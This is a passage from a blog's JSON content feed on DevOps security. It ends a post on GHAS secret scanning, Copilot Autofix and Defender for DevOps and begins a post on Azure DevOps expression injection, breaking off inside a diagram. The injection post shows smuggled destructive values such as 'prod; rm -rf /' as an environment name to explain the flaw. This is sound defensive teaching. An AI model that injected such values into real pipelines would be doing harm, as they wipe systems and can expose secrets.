fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='276' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='260' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='260' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='260' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='260' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='260' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='36' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='36' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"4-copilot-autofix-automated-remediation\"\u003e4. Copilot Autofix: Automated Remediation\u003c/h2\u003e\n\u003cp\u003eDetecting a secret is only half the battle; remediation (rotation and code fix) must happen immediately. \u003cstrong\u003eCopilot Autofix\u003c/strong\u003e (GA Aug 2024) uses AI to generate suggested fix PRs for detected secret alerts.\u003c/p\u003e\n\u003ch3 id=\"the-autofix-workflow\"\u003eThe Autofix Workflow\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003eGHAS detects a hardcoded Azure connection string.\u003c/li\u003e\n\u003cli\u003eAutofix analyzes the file language (e.g., Python).\u003c/li\u003e\n\u003cli\u003eAutofix opens a PR replacing the hardcoded key with \u003ccode\u003eos.environ.get('AZURE_STORAGE_KEY')\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eAutofix updates the relevant deployment manifests or CI/CD YAML to include the new secret reference.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eGitHub research shows that Autofix reduces the median time-to-remediation from \u003cstrong\u003e1.5 hours to 28 minutes\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eCrucial Note:\u003c/strong\u003e Autofix only fixes the \u003cem\u003ecode\u003c/em\u003e. You must still rotate the secret in the Azure portal immediately upon detection. \u003cstrong\u003eAlways rotate BEFORE merging the code fix.\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"5-agentic-security-zero-commit-secrets\"\u003e5. Agentic Security: Zero-Commit Secrets\u003c/h2\u003e\n\u003cp\u003eIn 2026, the industry has moved toward \u003cstrong\u003e\u0026ldquo;Zero-Commit Secrets.\u0026rdquo;\u003c/strong\u003e This involves catching credentials \u003cem\u003einside\u003c/em\u003e the AI agent\u0026rsquo;s reasoning loop before they are even written to a file.\u003c/p\u003e\n\u003ch3 id=\"github-mcp-secret-scanning\"\u003eGitHub MCP Secret Scanning\u003c/h3\u003e\n\u003cp\u003eFor teams using agentic tools like Claude Code or Cursor, the \u003cstrong\u003eModel Context Protocol (MCP)\u003c/strong\u003e Secret Scanner acts as a \u0026ldquo;firewall\u0026rdquo; for AI agents. The MCP server scans the agent\u0026rsquo;s memory and output in real-time, redacting any detected secrets before the agent can commit them to your repository. This eliminates the \u0026ldquo;hallucination noise\u0026rdquo; before it ever reaches GHAS.\u003c/p\u003e\n\u003ch2 id=\"6-integration-with-microsoft-defender-for-devops\"\u003e6. Integration with Microsoft Defender for DevOps\u003c/h2\u003e\n\u003cp\u003eFor teams on Azure, GHAS findings should be aggregated in \u003cstrong\u003eMicrosoft Defender for Cloud\u003c/strong\u003e. By deploying a \u003ccode\u003esecurityConnectors\u003c/code\u003e resource via Bicep, you can surface GitHub secret alerts alongside your Azure infrastructure risks.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Onboard GitHub to Defender for DevOps\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Note: Requires one-time manual App installation in the GitHub UI first\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e githubConnector \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Security/securityConnectors@2024-08-01-preview\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github-security-hub\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;centralus\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// Defender for DevOps is currently optimized for Central US\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  kind: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;GitHub\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    hierarchyIdentifier: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;your-org-name\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    offerings: [{ offeringType: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;DefenderForDevOpsGithub\u0026#39;\u003c/span\u003e }]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis integration lets your security team see \u0026ldquo;Attack Paths\u0026rdquo; where a leaked Storage key could lead to lateral movement in your production VNet.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eVerify, Don\u0026rsquo;t Guess:\u003c/strong\u003e Use GHAS Partner Validation to prioritize the 7.4% of real, active leaks over AI hallucinations.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBlock at the Source:\u003c/strong\u003e Enable Push Protection and provide a custom link to internal rotation guides.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAutomate Remediation:\u003c/strong\u003e Use Copilot Autofix to reduce remediation time by 3x, but always rotate the key in Azure first.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfigure .copilotignore:\u003c/strong\u003e The best way to stop AI-driven leaks is to prevent Copilot from indexing your test fixtures and local \u003ccode\u003e.env\u003c/code\u003e files.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAgent-Level Security:\u003c/strong\u003e In 2026, implement MCP Secret Scanning to redact credentials \u003cem\u003eduring\u003c/em\u003e the generation phase.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/github-copilot-enterprise-governance-content-exclusions-policy-controls/\"\u003eGitHub Copilot Enterprise Governance: Content Exclusions \u0026amp; Policy Controls\u003c/a\u003e to harden your GitHub Copilot governance with Content Exclusions.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/securing-the-prompt-ai-guardrails-azure-api-management/\"\u003eSecuring the Prompt: Implementing AI Guardrails with Azure API Management\u003c/a\u003e to implement an APIM AI Gateway that scrubs prompts at the network layer.\u003c/li\u003e\n\u003cli\u003eReturn to \u003ca href=\"/posts/the-ultimate-guide-to-secure-ai-devops-on-azure/\"\u003eThe Ultimate Guide to Secure AI DevOps on Azure: A Privacy-First Blueprint\u003c/a\u003e to see how secret scanning fits into the full Privacy-First Blueprint.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.blog/2024-10-29-ai-powered-secret-scanning-is-now-ga/\"\u003eGitHub Blog: AI-powered secret scanning (Oct 2024)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/code-security/secret-scanning/working-with-secret-scanning-alerts/using-copilot-autofix-for-secret-scanning-alerts\"\u003eGitHub Docs: Copilot Autofix for secret scanning alerts\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/defender-for-cloud/quickstart-onboard-github\"\u003eMicrosoft Learn: Connect GitHub to Defender for Cloud\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://trufflehog.com/docs/\"\u003eTruffleHog: Secret verification and partner validation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Style 1 — Cyber-Industrial / Data Flow**\nWide landscape format, 16:9 aspect ratio. A dark, high-contrast composition showing a glowing CI/CD pipeline rendered as a luminous horizontal tube running left to right across the frame. Streams of bright teal and white data particles flow through the pipe. At a central checkpoint, a cluster of red-glowing credential strings — shaped like abstract key fragments — are intercepted and blocked by an electric crimson barrier. The blocked fragments shatter into fading sparks. The background is deep charcoal with faint circuit-trace patterns. The overall mood is tense and technical, like a security system catching an intrusion mid-flight. No text, no UI elements, no faces.\n\n**Style 2 — 3D Abstract / Isometric**\nWide landscape format, 16:9 aspect ratio. A clean isometric 3D scene rendered in the style of a Blender render with soft studio lighting. A horizontal pipeline runs through the center, made of matte dark-grey and navy segments. At three evenly spaced points along the pipe, translucent shield-shaped gates glow with a soft blue light. Small geometric tokens — some teal for safe data, a few red for intercepted credentials — float along the pipeline. The red tokens are stopped at the first gate and highlighted with a warm amber glow around the gate. The scene floats on a very light grey background with subtle long shadows. No text, no labels, no faces.\n\n**Style 3 — Claymorphism / Soft 3D**\nWide landscape format, 16:9 aspect ratio. A soft claymorphism composition featuring a chunky matte pipeline running diagonally across the frame from bottom-left to top-right. The pipe is a desaturated navy-blue clay texture. Along the pipe sit three rounded, pastel-colored padlock charms — each glowing faintly white when closed. One padlock near the center is shown snapping shut around a small red clay token that resembles a key or credential fragment. The background is a warm off-white with a very subtle gradient. Everything has a matte, tactile quality with soft ambient shadows. No text, no UI, no faces.\n\n**Style 4 — Macro Tech Detail / Photorealistic**\nWide landscape format, 16:9 aspect ratio. An extreme macro close-up of a printed circuit board with fine copper traces running in precise grid lines across a dark green substrate. Overlaid on the surface, in shallow depth of field, are two or three translucent holographic fragments — glowing amber-red — hovering just above the board's surface as if intercepted mid-transmission. The surrounding traces glow faintly teal, suggesting active secure data flow. The lighting is dramatic, cool blue backlight with warm accent lighting on the intercepted fragments. Photorealistic, cinematic depth of field. No text, no UI, no faces.\n\n**Style 5 — Minimalist Vector / Flat**\nWide landscape format, 16:9 aspect ratio. A flat vector illustration on a deep navy background. A clean horizontal pipeline runs across the center made up of simple rounded rectangle segments in slate blue. Above the pipeline on the left, two small abstract key shapes in warm red float and move toward the pipe. At a central point, a flat white shield icon with a subtle checkmark intercepts the red keys, and they are shown halted — slightly grayed out. To the right of the shield, only clean teal dots continue flowing. The composition is balanced, geometric, and uses a limited palette of navy, slate, teal, red, and white. No text, no labels, no faces.\n--\u003e\n","description":"Configure GHAS secret scanning, push protection, and Copilot Autofix to catch both real leaked secrets and AI-hallucinated credentials before they reach production.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/ai-driven-secrets-scanning-protecting-pipeline-hallucinated-credentials/","title":"AI-Driven Secrets Scanning: Protecting the Pipeline from Hallucinated Credentials"},{"content":"\u003cp\u003e\u0026ldquo;Enter your environment name: \u003ccode\u003eprod; rm -rf /\u003c/code\u003e\u0026rdquo;. If that input reached your pipeline, would it crash your production server? Most DevOps engineers worry about network firewalls and SSH keys, but they leave a massive back door open: \u003cstrong\u003eExpression Injection\u003c/strong\u003e. In the rush to build \u0026ldquo;dynamic\u0026rdquo; pipelines, we often blindly trust user-provided parameters and runtime variables, turning our YAML into an execution engine for malicious actors.\u003c/p\u003e\n\u003cp\u003eAzure DevOps expressions are not just for logic; they are interpolation engines. When you use the macro syntax (\u003ccode\u003e$( )\u003c/code\u003e) without sanitization, you are performing a raw string replacement on a shell script. A malicious user can provide a value that \u0026ldquo;escapes\u0026rdquo; the intended command, allowing them to steal secrets, modify source code, or bypass deployment approvals. This guide teaches you the mechanics of expression injection and provides a manual for hardening your YAML logic using typed parameters and safe ingestion patterns.\u003c/p\u003e\n\u003ch2 id=\"1-the-mechanics-of-expression-injection\"\u003e1. The Mechanics of Expression Injection\u003c/h2\u003e\n\u003cp\u003eTo secure your pipeline, you must understand how different syntaxes handle untrusted data.\u003c/p\u003e\n\u003ch3 id=\"11-why---is-the-biggest-risk\"\u003e1.1: Why $( ) is the Biggest Risk\u003c/h3\u003e\n\u003cp\u003eThe macro syntax \u003ccode\u003e$(variableName)\u003c/code\u003e is a raw string replacement performed by the agent just before a task runs. If you use it inside a script block, you are creating a shell injection vulnerability.\u003c/p\u003e\n\u003ch4 id=\"anatomy-of-a-macro-injection\"\u003eAnatomy of a Macro Injection\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 704 201\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 112,48 L 360,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,112 L 616,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,8 L 104,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 104,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,16 L 368,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,112 L 368,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,16 L 624,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,152 L 624,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='368.000000,48.000000 356.000000,42.400002 356.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 360.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='624.000000,112.000000 612.000000,106.400002 612.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 616.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003e\"\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext 